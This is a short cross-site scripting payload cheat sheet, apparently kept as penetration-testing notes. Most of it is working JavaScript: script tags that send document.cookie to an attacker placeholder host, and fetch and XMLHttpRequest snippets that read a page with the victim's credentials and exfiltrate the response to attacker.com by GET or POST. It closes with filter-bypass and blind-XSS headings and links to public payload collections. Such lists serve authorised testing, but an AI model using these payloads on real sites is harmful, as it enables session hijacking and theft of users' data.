Cross Site Scripting (XSS)

<script>document.location='http://<attacker>/'+document.cookie</script>
<script>new Image().src='http://<attacker>/'+document.cookie</script>

Data Exifiltration

// Fetch GET
fetch('https://test.com', { credentials: 'include' }).then(r => r.text()).then(d => fetch(`https://attacker.com/${btoa(d)}`, { mode: 'no-cors' }));

// Fetch POST
fetch('https://test.com', { credentials: 'include' }).then(r => r.text()).then(d => fetch('https://attacker.com', { method: 'POST', mode: 'no-cors', body: d }));

// XMLHttpRequest GET
var r = new XMLHttpRequest();
r.open('GET', 'https://test.com', true);
r.withCredentials = true;
r.onload = () => { 
    var s = new XMLHttpRequest();
    s.open('GET', `https://attacker.com/${btoa(r.responseText)}`, true);
    s.send();
}
r.send();

// XMLHttpRequest POST
var r = new XMLHttpRequest();
r.open('GET', 'https://test.com', true);
r.withCredentials = true;
r.onload = () => { 
    var s = new XMLHttpRequest();
    s.open('POST', 'https://attacker.com/', true);
    s.send(r.responseText);
};
r.send();

Bypasses

Base64 encoding

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#filter-bypass-and-exotic-payloads

Blind XSS

Blind XSS intruder

blind_xss_intruder.txt

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting